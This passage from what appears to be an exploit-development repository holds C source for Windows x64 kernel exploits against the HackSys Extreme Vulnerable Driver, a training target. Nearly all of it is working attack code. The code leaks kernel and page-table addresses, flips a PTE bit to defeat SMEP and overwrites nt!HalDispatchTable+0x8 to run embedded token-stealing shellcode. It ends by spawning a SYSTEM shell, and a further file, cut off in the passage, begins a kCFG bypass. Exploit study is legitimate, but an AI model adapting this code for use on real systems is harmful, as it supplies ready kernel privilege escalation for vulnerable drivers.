151 | DWORD lpBytesReturned;
152 | DeviceIoControl(
153 | drvHandle,
154 | IOCTL_CODE,
155 | buf,
156 | sizeof(buf),
157 | NULL,
158 | 0,
159 | &lpBytesReturned,
160 | NULL
161 | );
162 |
163 | // Print update for extracting base of the PTEs
164 | printf("[+] Extracting the base of the PTEs...\n");
165 |
166 | // Defining variable to place base of PTEs
167 | unsigned long long pteBase = (unsigned long long)*baseofPtes;
168 |
169 | // Print update for base of the PTEs
170 | printf("[+] Base of the page table entries: 0x%llx\n", pteBase);
171 |
172 | // Bitwise operations to locate PTE of shellcode page
173 | unsigned long long shellcodePte = (unsigned long long)shellcode >> 9;
174 | shellcodePte = shellcodePte & 0x7FFFFFFFF8;
175 | shellcodePte = shellcodePte + pteBase;
176 |
177 | // Print update for shellcode's PTE page
178 | printf("[+] Shellcode's PTE is located at: 0x%llx\n", shellcodePte);
179 |
180 | // Defining pointer to extract shellcode's PTE control bits (must initialize pointer, hence placeholder)
181 | placeholder = 0;
182 | PULONGLONG ptecontrolbitsPointer = &placeholder;
183 |
184 | // Defining buffer to send to driver
185 | char buf1 [0x10];
186 |
187 | // Initializing buffer to junk to satisfy type error of memset
188 | memset(buf1, 0x41, 0x10);
189 |
190 | // Actual buffer for extracting PTE control bits
191 | memcpy(buf1, &shellcodePte, oneQword);
192 | memcpy(&buf1[0x8], &ptecontrolbitsPointer, oneQword);
193 |
194 | // Sending buffer to the driver
195 | DeviceIoControl(
196 | drvHandle,
197 | IOCTL_CODE,
198 | buf1,
199 | sizeof(buf1),
200 | NULL,
201 | 0,
202 | &lpBytesReturned,
203 | NULL
204 | );
205 |
206 | unsigned long long ptecontrolBits = (unsigned long long)*ptecontrolbitsPointer;
207 |
208 | // Print update for PTE control bits
209 | printf("[+] PTE control bits for shellcode page: %p\n", ptecontrolBits);
210 |
211 | // Corrupting U/S bit in PTE to make user mode page become kernel mode
212 | unsigned long long taintedPte;
213 | taintedPte = ptecontrolBits & 0xFFFFFFFFFFFFFFFB;
214 |
215 | // Defining pointer for corrupted PTE bits
216 | PULONGLONG taintedptePointer = &taintedPte;
217 |
218 | // Defining buffer to send to driver
219 | char buf2[0x10];
220 |
221 | // Initializing buffer to junk to satisfy type error of memset
222 | memset(buf2, 0x41, 0x10);
223 |
224 | // Actual buffer for corrupting PTE
225 | memcpy(buf2, &taintedptePointer, oneQword);
226 | memcpy(&buf2[0x8], &shellcodePte, oneQword);
227 |
228 | // Print update for corrupting PTE
229 | printf("[+] Corrupting PTE of shellcode to make U/S bit kernel mode...\n");
230 |
231 | // Sending buffer to the driver
232 | DeviceIoControl(
233 | drvHandle,
234 | IOCTL_CODE,
235 | buf2,
236 | sizeof(buf2),
237 | NULL,
238 | 0,
239 | &lpBytesReturned,
240 | NULL
241 | );
242 |
243 | // Print update for corrupted PTE
244 | printf("[+] PTE of shellcode is now kernel mode! Sorry, SMEP!\n");
245 |
246 | // Preserving current [nt!HalDispatchTable+0x8] and restoring execution
247 | unsigned long long haldispatchTable = baseAddress + 0x2f43b8;
248 |
249 | // Print update for preserving address
250 | printf("[+] Preserving address of nt!HalDispatchTable+0x8->hal!HaliQuerySystemInformation...\n");
251 |
252 | // Defining pointer to write [nt!HalDispatchTable+0x8]
253 | placeholder = 0;
254 | PULONGLONG preserveHal = &placeholder;
255 |
256 | // Defining buffer to send to driver
257 | char buf3 [0x10];
258 |
259 | // Initializing buffer to junk to satisfy type error of memset
260 | memset(buf3, 0x41, 0x10);
261 |
262 | // Actual buffer for extracting the legitimate [nt!HalDispatchTable+0x8]
263 | memcpy(buf3, &haldispatchTable, oneQword);
264 | memcpy(&buf3[0x8], &preserveHal, oneQword);
265 |
266 | // Sending buffer to the driver
267 | DeviceIoControl(
268 | drvHandle,
269 | IOCTL_CODE,
270 | buf3,
271 | sizeof(buf3),
272 | NULL,
273 | 0,
274 | &lpBytesReturned,
275 | NULL
276 | );
277 |
278 | // Defining variable to place [nt!HalDispatchTable+0x8]
279 | unsigned long long legitimateHal = (unsigned long long)*preserveHal;
280 |
281 | // Print update for preserving [nt!HalDispatchTable]
282 | printf("[+] nt!HalDispatchTable+0x8->hal!HaliQuerySystemInformation is located at: 0x%llx\n", legitimateHal);
283 |
284 | // Defining pointer for shellcode (shellcode is alread LPVOID, so setting pointer to shellcode as LPVOID to avoid type cast)
285 | LPVOID shellcodePointer = &shellcode;
286 |
287 | // Print update for nt!HalDispatchTable+0x8 location
288 | printf("[+] nt!HalDispatchTable+0x8 is located at: 0x%llx\n", haldispatchTable);
289 |
290 | // Defining buffer to send to driver
291 | char buf4[0x10];
292 |
293 | // Initializing buffer to junk to satisfy type error of memset
294 | memset(buf4, 0x41, 0x10);
295 |
296 | // Actual buffer for overwriting [nt!HalDispatchTable+0x8] with shellcode address
297 | memcpy(buf4, &shellcodePointer, oneQword);
298 | memcpy(&buf4[0x8], &haldispatchTable, oneQword);
299 |
300 | // Sending buffer to the driver
301 | DeviceIoControl(
302 | drvHandle,
303 | IOCTL_CODE,
304 | buf4,
305 | sizeof(buf4),
306 | NULL,
307 | 0,
308 | &lpBytesReturned,
309 | NULL
310 | );
311 |
312 | // Print update for overwriting [nt!HalDispatchTable+0x8]
313 | printf("[+] Overwrote [nt!HalDispatchTable+0x8] with shellcode address...\n");
314 |
315 | // Locating nt!NtQueryIntervalProfile
316 | NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(
317 | GetModuleHandle(
318 | TEXT("ntdll.dll")),
319 | "NtQueryIntervalProfile"
320 | );
321 |
322 | // Error handling
323 | if (!NtQueryIntervalProfile)
324 | {
325 | printf("[-] Error! Unable to find ntdll!NtQueryIntervalProfile! Error: %d\n", GetLastError());
326 | exit(1);
327 | }
328 |
329 | // Print update for found ntdll!NtQueryIntervalProfile
330 | printf("[+] Located ntdll!NtQueryIntervalProfile at: 0x%llx\n", NtQueryIntervalProfile);
331 |
332 | // Invoking nt!NtQueryIntervalProfile to execute [nt!HalDispatchTable+0x8]
333 | printf("[+] Calling nt!NtQueryIntervalProfile to execute [nt!HalDispatchTable+0x8]...\n");
334 |
335 | // Print update for found ntdll!NtQueryIntervalProfile
336 | // Calling nt!NtQueryIntervalProfile and defining parameter
337 | ULONG exploit = 0;
338 | NtQueryIntervalProfile(
339 | 0x1234,
340 | &exploit
341 | );
342 |
343 | // Restoring [nt!HalDispatchTable+0x8]
344 |
345 | // Defining pointer for [nt!HalDispatchTable+0x8]
346 | PULONGLONG restoreHal = &legitimateHal;
347 |
348 | // Print update for restoring [nt!HalDispatchTable+0x8]
349 | printf("[+] Attempting to restore [nt!HalDispatchTable+0x8] with hal!HaliQuerySystemInformation...\n");
350 |
351 | // Defining buffer to send to driver
352 | char buf5[0x10];
353 |
354 | // Initializing buffer to junk to satisfy type error of memset
355 | memset(buf5, 0x41, 0x10);
356 |
357 | // Actual buffer for overwriting [nt!HalDispatchTable+0x8] with shellcode address
358 | memcpy(buf5, &restoreHal, oneQword);
359 | memcpy(&buf5[0x8], &haldispatchTable, oneQword);
360 |
361 | // Sending buffer to the driver
362 | DeviceIoControl(
363 | drvHandle,
364 | IOCTL_CODE,
365 | buf5,
366 | sizeof(buf5),
367 | NULL,
368 | 0,
369 | &lpBytesReturned,
370 | NULL
371 | );
372 |
373 | // Print update for newly restored [nt!HalDispatchTable+0x8]
374 | printf("[+] Restored [nt!HalDispatchTable+0x8]!\n");
375 |
376 | // Print update for NT AUTHORITY\SYSTEM shell
377 | printf("[+] Enjoy the NT AUTHORITY\\SYSTEM shell!\n");
378 |
379 | // Spawning an NT AUTHORITY\SYSTEM shell
380 | system("cmd.exe /c cmd.exe /K cd C:\\");
381 | }
382 |
383 | int main()
384 | {
385 | exploitWork();
386 |
387 | return 0;
388 | }
389 |
--------------------------------------------------------------------------------
/HEVD/Write-What-Where/Windows10_Write_What_Where2.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | #define IOCTL_CODE 0x0022200B
6 |
7 | // Prepping call to nt!NtQueryIntervalProfile
8 | typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval);
9 |
10 | unsigned long long kernelBase(void)
11 | {
12 | // Defining EnumDeviceDrivers() parameters
13 | LPVOID lpImageBase[1024];
14 | DWORD lpcbNeeded;
15 |
16 | // Calling EnumDeviceDrivers()
17 | printf("[+] Calling EnumDeviceDrivers()...\n");
18 |
19 | BOOL baseofDrivers = EnumDeviceDrivers(
20 | lpImageBase,
21 | sizeof(lpImageBase),
22 | &lpcbNeeded
23 | );
24 |
25 | // Error handling
26 | if (!baseofDrivers)
27 | {
28 | printf("[-] Error! Unable to invoke EnumDeviceDrivers(). Error: %d\n", GetLastError());
29 | exit(1);
30 | }
31 |
32 | // ntoskrnl.exe is the first module dumped in the array
33 | // Typcasting LPVOID to unsigned long long
34 | unsigned long long krnlBase = (unsigned long long)lpImageBase[0];
35 |
36 | // Print update for kernel base
37 | printf("[+] Found kernel leak!\n");
38 | printf("[+] ntoskrnl.exe is located at: 0x%llx\n", krnlBase);
39 |
40 | return krnlBase;
41 | }
42 |
43 | // nt!MiGetPteAddress and nt!MiInitializeTransitionPfn+0x37 have the same routine
44 | // This function dereferences all of the memory in ntoskrnl.exe via a one QWORD vanilla arbitrary read/write primitive and looks for the opcodes that make up these functions
45 | // The base of the PTEs in each function are at the same offset of 0x13 from the beginning of the routine
46 | unsigned long long findpteBase(void)
47 | {
48 | // Return value of ntoskrnl.exe here
49 | unsigned long long baseAddress = kernelBase();
50 |
51 | // Defining variable for pointer to ntoskrnl.exe base address
52 | unsigned long long temporaryVariable = baseAddress;
53 | PULONGLONG kernelPointer = &temporaryVariable;
54 |
55 | // Defining variable to write the current address of ntoskrnl.exe into (0x1 byte at a time)
56 | unsigned long long temporaryVariable2 = NULL;
57 | PULONGLONG dereferencedContents = &temporaryVariable2;
58 |
59 | // Defining vairable to dereference the current ntoskrnl.exe address for the opcodes
60 | unsigned long long temporaryVariable3 = NULL;
61 | PULONGLONG checkSignature = &temporaryVariable3;
62 |
63 | // Defining buffer for looping ntoskrnl.exe
64 | char buf[0x10];
65 | size_t oneQword = 0x8;
66 |
67 | // Initializing buffer to junk to satisfy type error of memset and defining actual buffer
68 | memset(buf, 0x41, 0x10);
69 | memcpy(buf, &kernelPointer, oneQword);
70 | memcpy(&buf[0x8], &dereferencedContents, oneQword);
71 |
72 | // Defining buffer for dereferencing memory and searching for the nt!MiGetPteAddress signature
73 | char buf1[0x10];
74 |
75 | /*
76 | 0: kd> u nt!MiGetPteAddress
77 | nt!MiGetPteAddress:
78 | fffff800`ef2255f4 48c1e909 shr rcx,9
79 | fffff800`ef2255f8 48b8f8ffffff7f000000 mov rax,7FFFFFFFF8h
80 | fffff800`ef225602 4823c8 and rcx,rax
81 | fffff800`ef225605 48b80000000000f5ffff mov rax,0FFFFF50000000000h
82 | fffff800`ef22560f 4803c1 add rax,rcx
83 | fffff800`ef225612 c3 ret
84 | fffff800`ef225613 cc int 3
85 | fffff800`ef225614 cc int 3
86 | 0: kd> u nt!MiInitializeTransitionPfn+0x37
87 | fffff801`d1a88937 48c1e909 shr rcx,9
88 | fffff801`d1a8893b 48b8f8ffffff7f000000 mov rax,7FFFFFFFF8h
89 | fffff801`d1a88945 4823c8 and rcx,rax
90 | fffff801`d1a88948 48b80000000000f5ffff mov rax,0FFFFF50000000000h
91 | fffff801`d1a88952 4803c8 add rcx,rax
92 | fffff801`d1a88955 e89ed90200 call nt!MI_READ_PDE (fffff801`d1ab62f8)
93 | fffff801`d1a8895a 488d4c2450 lea rcx,[rsp+50h]
94 | fffff801`d1a8895f 4889442450 mov qword ptr [rsp+50h],rax
95 | */
96 | unsigned long long miSignature = 0xfff8b84809e9c148;
97 |
98 | // Defining lpBytesReturned parameter
99 | DWORD lpBytesReturned;
100 |
101 | // Obtaining handle to the driver
102 | printf("[+] Obtaining handle to the driver via CreateFileA()...\n");
103 | HANDLE drvHandle = CreateFileA(
104 | "\\\\.\\HackSysExtremeVulnerableDriver",
105 | 0xC0000000,
106 | 0x0,
107 | NULL,
108 | 0x3,
109 | 0x0,
110 | NULL
111 | );
112 |
113 | // Print update statement
114 | printf("[+] Dereferencing memory in ntoskrnl.exe to find nt!MiGetPteAddress or nt!MiInitializeTransitionPfn+0x37...\n");
115 |
116 | // Loop ntoskrnl.exe
117 | // ntoskrnl.exe ~ 0x822000 bytes
118 | for (int i = 0; i < 0x822000; i++)
119 | {
120 | // Extract current address of ntoskrnl.exe (0x1 byte at a time increase) to dereferencedContents
121 | DeviceIoControl(
122 | drvHandle,
123 | IOCTL_CODE,
124 | buf,
125 | sizeof(buf),
126 | NULL,
127 | 0,
128 | &lpBytesReturned,
129 | NULL
130 | );
131 |
132 | // Actual extraction of the current memory address in ntoskrnl.exe being checked
133 | unsigned long long temporaryVariable4 = *dereferencedContents;
134 |
135 | // Initializing buffer to junk to satisfy type error of memset and defining actual buffer
136 | memset(buf1, 0x41, 0x10);
137 | memcpy(buf1, &temporaryVariable4, oneQword);
138 | memcpy(&buf1[0x8], &checkSignature, oneQword);
139 |
140 | // Extract opcodes from current address in ntoskrnl.exe to prepare signature check
141 | DeviceIoControl(
142 | drvHandle,
143 | IOCTL_CODE,
144 | buf1,
145 | sizeof(buf1),
146 | NULL,
147 | 0,
148 | &lpBytesReturned,
149 | NULL
150 | );
151 |
152 | // Dereference contents of arbitrary write to extract current address
153 | unsigned long long miCheck = *checkSignature;
154 |
155 | if (miCheck == miSignature)
156 | {
157 | unsigned long long mitemporaryAddress = temporaryVariable4;
158 | unsigned long long miAddress = mitemporaryAddress+0x13;
159 | printf("[+] Found either nt!MiGetPteAddress or nt!MiInitializeTransitionPfn+0x37!\n");
160 | printf("[+] The address 0x%llx points to the base of the page table entries!\n", miAddress);
161 |
162 | return miAddress;
163 | }
164 | else
165 | {
166 | // Didn't find the intended address? Increase the current address one byte
167 | temporaryVariable++;
168 | }
169 | }
170 |
171 | // We aren't passing our handle to the driver to the next function, so close it
172 | CloseHandle(
173 | drvHandle
174 | );
175 | }
176 |
177 | // Extract PTE base, create shellcode, calculate PTE of shellcode, extract PTE control bits,
178 | void exploitWork(void)
179 | {
180 | // Store pointer to PTEs in holdPtes variable
181 | unsigned long long ptePointer = findpteBase();
182 |
183 | // Create variable + pointer to extract base of the PTEs
184 | unsigned long long temporaryVariable5 = NULL;
185 | PULONGLONG pteExtract = &temporaryVariable5;
186 |
187 | // Defining buffer for looping ntoskrnl.exe
188 | char buf2[0x10];
189 | size_t oneQword = 0x8;
190 |
191 | // Initializing buffer to junk to satisfy type error of memset and defining actual buffer
192 | memset(buf2, 0x41, 0x10);
193 | memcpy(buf2, &ptePointer, oneQword);
194 | memcpy(&buf2[0x8], &pteExtract, oneQword);
195 |
196 | // Open handle again to the driver
197 | HANDLE drvHandle = CreateFileA(
198 | "\\\\.\\HackSysExtremeVulnerableDriver",
199 | 0xC0000000,
200 | 0x0,
201 | NULL,
202 | 0x3,
203 | 0x0,
204 | NULL
205 | );
206 |
207 | // Defining lpBytesReturned parameter
208 | DWORD lpBytesReturned;
209 |
210 | // Send buffer to the driver
211 | DeviceIoControl(
212 | drvHandle,
213 | IOCTL_CODE,
214 | buf2,
215 | sizeof(buf2),
216 | NULL,
217 | 0,
218 | &lpBytesReturned,
219 | NULL
220 | );
221 |
222 | // Extract PTE base
223 | unsigned long long pteBase = *pteExtract;
224 |
225 | // Print update
226 | printf("[+] Successfully extracted the base of the page table entries!\n");
227 | printf("[+] The base of the PTEs are located at: 0x%llx\n", pteBase);
228 |
229 | // Creating shellcode
230 | /*
231 | [BITS 64]
232 | _start:
233 | mov rax, [gs:0x188] ; Current thread (_KTHREAD)
234 | mov rax, [rax + 0xb8] ; Current process (_EPROCESS)
235 | mov rbx, rax ; Copy current process (_EPROCESS) to rbx
236 | __loop:
237 | mov rbx, [rbx + 0x2e8] ; ActiveProcessLinks
238 | sub rbx, 0x2e8 ; Go back to current process (_EPROCESS)
239 | mov rcx, [rbx + 0x2e0] ; UniqueProcessId (PID)
240 | cmp rcx, 4 ; Compare PID to SYSTEM PID
241 | jnz __loop ; Loop until SYSTEM PID is found
242 | mov rcx, [rbx + 0x358] ; SYSTEM token is @ offset _EPROCESS + 0x358
243 | and cl, 0xf0 ; Clear out _EX_FAST_REF RefCnt
244 | mov [rax + 0x358], rcx ; Copy SYSTEM token to current process
245 | xor rax, rax ; STATUS_SUCCESS
246 | ret ; Done!
247 | */
248 |
249 | // Windows 10 RS1 offsets in _EPROCESS structure
250 | char payload[] = "\x65\x48\x8B\x04\x25\x88\x01\x00\x00"
251 | "\x48\x8B\x80\xB8\x00\x00\x00"
252 | "\x48\x89\xC3\x48\x8B\x9B\xF0\x02\x00\x00"
253 | "\x48\x81\xEB\xF0\x02\x00\x00"
254 | "\x48\x8B\x8B\xE8\x02\x00\x00"
255 | "\x48\x83\xF9\x04\x75\xE5"
256 | "\x48\x8B\x8B\x58\x03\x00\x00"
257 | "\x80\xE1\xF0\x48\x89\x88\x58\x03\x00\x00"
258 | "\x48\x31\xC0\xC3";
259 |
260 | // Allocating shellcode in user mode
261 | LPVOID shellcode = VirtualAlloc(
262 | NULL,
263 | sizeof(payload),
264 | 0x3000,
265 | 0x40
266 | );
267 |
268 | // Error handling
269 | if (!shellcode)
270 | {
271 | printf("[-] Error! Unable to allocate shellcode in user mode. Error: %d\n", GetLastError());
272 | exit(1);
273 | }
274 |
275 | // Moving memory into allocated space in user mode
276 | RtlMoveMemory(
277 | shellcode,
278 | payload,
279 | sizeof(payload)
280 | );
281 |
282 | // Print update for shellcode
283 | printf("[+] Shellcode is located at: 0x%llx\n", shellcode);
284 |
285 | // Bitwise operations to locate PTE of shellcode page
286 | unsigned long long shellcodePte = (unsigned long long)shellcode >> 9;
287 | shellcodePte = shellcodePte & 0x7FFFFFFFF8;
288 | shellcodePte = shellcodePte + pteBase;
289 |
290 | // Print update for shellcode's PTE page
291 | printf("[+] Shellcode's PTE is located at: 0x%llx\n", shellcodePte);
292 |
293 | // Defining pointer to extract shellcode's PTE control bits (must initialize pointer, hence placeholder)
294 | unsigned long long temporaryVariable6 = 0;
295 | PULONGLONG ptecontrolbitsPointer = &temporaryVariable6;
296 |
297 | // Defining buffer to send to driver
298 | char buf3[0x10];
299 |
300 | // Initializing buffer to junk to satisfy type error of memset
301 | memset(buf3, 0x41, 0x10);
302 |
303 | // Actual buffer for extracting PTE control bits
304 | memcpy(buf3, &shellcodePte, oneQword);
305 | memcpy(&buf3[0x8], &ptecontrolbitsPointer, oneQword);
306 |
307 | // Sending buffer to the driver
308 | DeviceIoControl(
309 | drvHandle,
310 | IOCTL_CODE,
311 | buf3,
312 | sizeof(buf3),
313 | NULL,
314 | 0,
315 | &lpBytesReturned,
316 | NULL
317 | );
318 |
319 | // Extracting the PTE control bits
320 | unsigned long long ptecontrolBits = (unsigned long long) * ptecontrolbitsPointer;
321 |
322 | // Print update for PTE control bits
323 | printf("[+] PTE control bits for shellcode page: %p\n", ptecontrolBits);
324 |
325 | // Corrupting U/S bit in PTE to make user mode page become kernel mode
326 | unsigned long long taintedPte;
327 | taintedPte = ptecontrolBits & 0xFFFFFFFFFFFFFFFB;
328 |
329 | // Defining pointer for corrupted PTE bits
330 | PULONGLONG taintedptePointer = &taintedPte;
331 |
332 | // Defining buffer to send to driver
333 | char buf4[0x10];
334 |
335 | // Initializing buffer to junk to satisfy type error of memset
336 | memset(buf4, 0x41, 0x10);
337 |
338 | // Actual buffer for corrupting PTE
339 | memcpy(buf4, &taintedptePointer, oneQword);
340 | memcpy(&buf4[0x8], &shellcodePte, oneQword);
341 |
342 | // Print update for corrupting PTE
343 | printf("[+] Corrupting PTE of shellcode to make U/S bit kernel mode...\n");
344 |
345 | // Sending buffer to the driver
346 | DeviceIoControl(
347 | drvHandle,
348 | IOCTL_CODE,
349 | buf4,
350 | sizeof(buf4),
351 | NULL,
352 | 0,
353 | &lpBytesReturned,
354 | NULL
355 | );
356 |
357 | // Print update for corrupted PTE
358 | printf("[+] PTE of shellcode is now kernel mode!\n");
359 |
360 | // Return value from ntoskrnl.exe base function to exploitWork() to calculate nt!HalDispatchTable
361 | unsigned long long baseAddress1 = kernelBase();
362 |
363 | // Locating nt!HalDispatchTable+0x8
364 | unsigned long long haldispatchTable8;
365 |
366 | // Load kernel modules
367 | HMODULE base = LoadLibraryExA(
368 | "ntoskrnl.exe",
369 | NULL,
370 | 0x1
371 | );
372 |
373 | // Locate nt!HalDispatchTable+0x8
374 | PVOID functionAddr = GetProcAddress(
375 | base,
376 | "HalDispatchTable"
377 | );
378 |
379 | haldispatchTable8 = (baseAddress1 + (ULONG_PTR)functionAddr) - (ULONG_PTR)base + 0x8;
380 |
381 | // Print update
382 | printf("[+] Found nt!HalDispatchTable+0x8 at: 0xllx\n", haldispatchTable8);
383 |
384 | // Defining pointer to write [nt!HalDispatchTable+0x8]
385 | unsigned long long temporaryVariable7 = 0;
386 | PULONGLONG preserveHal = &temporaryVariable7;
387 |
388 | // Defining buffer to send to driver
389 | char buf5[0x10];
390 |
391 | // Initializing buffer to junk to satisfy type error of memset
392 | memset(buf5, 0x41, 0x10);
393 |
394 | // Actual buffer for extracting the legitimate [nt!HalDispatchTable+0x8]
395 | memcpy(buf5, &haldispatchTable8, oneQword);
396 | memcpy(&buf5[0x8], &preserveHal, oneQword);
397 |
398 | // Sending buffer to the driver
399 | DeviceIoControl(
400 | drvHandle,
401 | IOCTL_CODE,
402 | buf5,
403 | sizeof(buf5),
404 | NULL,
405 | 0,
406 | &lpBytesReturned,
407 | NULL
408 | );
409 |
410 | // Defining variable to place [nt!HalDispatchTable+0x8]
411 | unsigned long long legitimateHal = (unsigned long long) * preserveHal;
412 |
413 | // Print update for preserving [nt!HalDispatchTable]
414 | printf("[+] nt!HalDispatchTable+0x8->hal!HaliQuerySystemInformation is located at: 0x%llx\n", legitimateHal);
415 |
416 | // Defining pointer for shellcode (shellcode is alread LPVOID, so setting pointer to shellcode as LPVOID to avoid type cast)
417 | LPVOID shellcodePointer = &shellcode;
418 |
419 | // Defining buffer to send to driver
420 | char buf6[0x10];
421 |
422 | // Initializing buffer to junk to satisfy type error of memset
423 | memset(buf6, 0x41, 0x10);
424 |
425 | // Actual buffer for overwriting [nt!HalDispatchTable+0x8] with shellcode address
426 | memcpy(buf6, &shellcodePointer, oneQword);
427 | memcpy(&buf6[0x8], &haldispatchTable8, oneQword);
428 |
429 | // Sending buffer to the driver
430 | DeviceIoControl(
431 | drvHandle,
432 | IOCTL_CODE,
433 | buf6,
434 | sizeof(buf6),
435 | NULL,
436 | 0,
437 | &lpBytesReturned,
438 | NULL
439 | );
440 |
441 | // Print update for overwriting [nt!HalDispatchTable+0x8]
442 | printf("[+] Overwrote [nt!HalDispatchTable+0x8] with shellcode address...\n");
443 |
444 | // Locating nt!NtQueryIntervalProfile
445 | NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(
446 | GetModuleHandle(
447 | TEXT("ntdll.dll")),
448 | "NtQueryIntervalProfile"
449 | );
450 |
451 | // Error handling
452 | if (!NtQueryIntervalProfile)
453 | {
454 | printf("[-] Error! Unable to find ntdll!NtQueryIntervalProfile! Error: %d\n", GetLastError());
455 | exit(1);
456 | }
457 |
458 | // Print update for found ntdll!NtQueryIntervalProfile
459 | printf("[+] Located ntdll!NtQueryIntervalProfile at: 0x%llx\n", NtQueryIntervalProfile);
460 |
461 | // Invoking nt!NtQueryIntervalProfile to execute [nt!HalDispatchTable+0x8]
462 | printf("[+] Calling nt!NtQueryIntervalProfile to execute [nt!HalDispatchTable+0x8]...\n");
463 |
464 | // Print update for found ntdll!NtQueryIntervalProfile
465 | // Calling nt!NtQueryIntervalProfile and defining parameter
466 | ULONG exploit = 0;
467 | NtQueryIntervalProfile(
468 | 0x1234,
469 | &exploit
470 | );
471 |
472 | // Restoring [nt!HalDispatchTable+0x8]
473 |
474 | // Defining pointer for [nt!HalDispatchTable+0x8]
475 | PULONGLONG restoreHal = &legitimateHal;
476 |
477 | // Print update for restoring [nt!HalDispatchTable+0x8]
478 | printf("[+] Attempting to restore [nt!HalDispatchTable+0x8] with hal!HaliQuerySystemInformation...\n");
479 |
480 | // Defining buffer to send to driver
481 | char buf7[0x10];
482 |
483 | // Initializing buffer to junk to satisfy type error of memset
484 | memset(buf7, 0x41, 0x10);
485 |
486 | // Actual buffer for overwriting [nt!HalDispatchTable+0x8] with shellcode address
487 | memcpy(buf7, &restoreHal, oneQword);
488 | memcpy(&buf7[0x8], &haldispatchTable8, oneQword);
489 |
490 | // Sending buffer to the driver
491 | DeviceIoControl(
492 | drvHandle,
493 | IOCTL_CODE,
494 | buf7,
495 | sizeof(buf7),
496 | NULL,
497 | 0,
498 | &lpBytesReturned,
499 | NULL
500 | );
501 |
502 | // Print update for newly restored [nt!HalDispatchTable+0x8]
503 | printf("[+] Restored [nt!HalDispatchTable+0x8]!\n");
504 |
505 | // Print update for NT AUTHORITY\SYSTEM shell
506 | printf("[+] Enjoy the NT AUTHORITY\\SYSTEM shell!\n");
507 |
508 | // Spawning an NT AUTHORITY\SYSTEM shell
509 | system("cmd.exe /c cmd.exe /K cd C:\\");
510 |
511 | }
512 |
513 | int main(void)
514 | {
515 | exploitWork();
516 |
517 | return 0;
518 | }
519 |
--------------------------------------------------------------------------------
/HEVD/Write-What-Where/kCFG_Bypass.c:
--------------------------------------------------------------------------------
1 | // HackSys Extreme Vulnerable Driver Kernel Exploit (x64 Arbitrary Overwrite & SMEP Enabled/kCFG enabled)
2 | // Author: Connor McGarr
3 | // Compilation on Windows via gcc: gcc kCFG_Bypass.c -o exploit.exe -lpsapi
4 |
5 | #include
6 | #include
7 | #include
8 |
9 | #define IOCTL_CODE 0x0022200B
10 |
11 | // Defining KUSER_SHARED_DATA+0x800 as a global variable
12 | unsigned long long KUSER_SHARED_DATA = 0xFFFFF78000000800;
13 | unsigned long long KUSER_SHARED_DATA_8 = 0xFFFFF78000000808;
14 | unsigned long long KUSER_SHARED_DATA_10 = 0xFFFFF78000000810;
15 | unsigned long long KUSER_SHARED_DATA_18 = 0xFFFFF78000000818;
16 | unsigned long long KUSER_SHARED_DATA_20 = 0xFFFFF78000000820;
17 | unsigned long long KUSER_SHARED_DATA_28 = 0xFFFFF78000000828;
18 | unsigned long long KUSER_SHARED_DATA_30 = 0xFFFFF78000000830;
19 | unsigned long long KUSER_SHARED_DATA_38 = 0xFFFFF78000000838;
20 | unsigned long long KUSER_SHARED_DATA_40 = 0xFFFFF78000000840;
21 |
22 | unsigned long long kernelBase(char name[])
23 | {
24 | // Defining EnumDeviceDrivers() and GetDeviceDriverBaseNameA() parameters
25 | LPVOID lpImageBase[1024];
26 | DWORD lpcbNeeded;
27 | int drivers;
28 | char lpFileName[1024];
29 | unsigned long long imageBase;
30 |
31 | BOOL baseofDrivers = EnumDeviceDrivers(
32 | lpImageBase,
33 | sizeof(lpImageBase),
34 | &lpcbNeeded
35 | );
36 |
37 | // Error handling
38 | if (!baseofDrivers)
39 | {
40 | printf("[-] Error! Unable to invoke EnumDeviceDrivers(). Error: %d\n", GetLastError());
41 | exit(1);
42 | }
43 |
44 | // Defining number of drivers for GetDeviceDriverBaseNameA()
45 | drivers = lpcbNeeded / sizeof(lpImageBase[0]);
46 |
47 | // Parsing loaded drivers
48 | for (int i = 0; i < drivers; i++)
49 | {
50 | GetDeviceDriverBaseNameA(
51 | lpImageBase[i],
52 | lpFileName,
53 | sizeof(lpFileName) / sizeof(char)
54 | );
55 |
56 | // Keep looping, until found, to find user supplied driver base address
57 | if (!strcmp(name, lpFileName))
58 | {
59 | imageBase = (unsigned long long)lpImageBase[i];
60 |
61 | // Exit loop
62 | break;
63 | }
64 | }
65 |
66 | return imageBase;
67 | }
68 |
69 | void exploitWork(void)
70 | {
71 | /*
72 |
73 | [BITS 64]
74 | _start:
75 | mov rax, [gs:0x188] ; Current thread (_KTHREAD)
76 | mov rax, [rax + 0xb8] ; Current process (_EPROCESS)
77 | mov rbx, rax ; Copy current process (_EPROCESS) to rbx
78 | __loop:
79 | mov rbx, [rbx + 0x2f0] ; ActiveProcessLinks
80 | sub rbx, 0x2f0 ; Go back to current process (_EPROCESS)
81 | mov rcx, [rbx + 0x2e8] ; UniqueProcessId (PID)
82 | cmp rcx, 4 ; Compare PID to SYSTEM PID
83 | jnz __loop ; Loop until SYSTEM PID is found
84 | mov rcx, [rbx + 0x360] ; SYSTEM token is @ offset _EPROCESS + 0x358
85 | and cl, 0xf0 ; Clear out _EX_FAST_REF RefCnt
86 | mov [rax + 0x360], rcx ; Copy SYSTEM token to current process
87 | xor rax, rax ; STATUS_SUCCESS
88 | ret ; Done!
89 | */
90 |
91 | // One QWORD arbitrary write
92 | // Shellcode is 67 bytes (67/8 = 9 unsigned long longs)
93 | unsigned long long shellcode1 = 0x00018825048B4865;
94 | unsigned long long shellcode2 = 0x000000B8808B4800;
95 | unsigned long long shellcode3 = 0x02F09B8B48C38948;
96 | unsigned long long shellcode4 = 0x0002F0EB81480000;
97 | unsigned long long shellcode5 = 0x000002E88B8B4800;
98 | unsigned long long shellcode6 = 0x8B48E57504F98348;
99 | unsigned long long shellcode7 = 0xF0E180000003608B;
100 | unsigned long long shellcode8 = 0x4800000360888948;
101 | unsigned long long shellcode9 = 0x0000000000C3C031;
102 |
103 | // Creating pointers for each shellcode QWORD
104 | PULONGLONG shellcode1Pointer = &shellcode1;
105 | PULONGLONG shellcode2Pointer = &shellcode2;
106 | PULONGLONG shellcode3Pointer = &shellcode3;
107 | PULONGLONG shellcode4Pointer = &shellcode4;
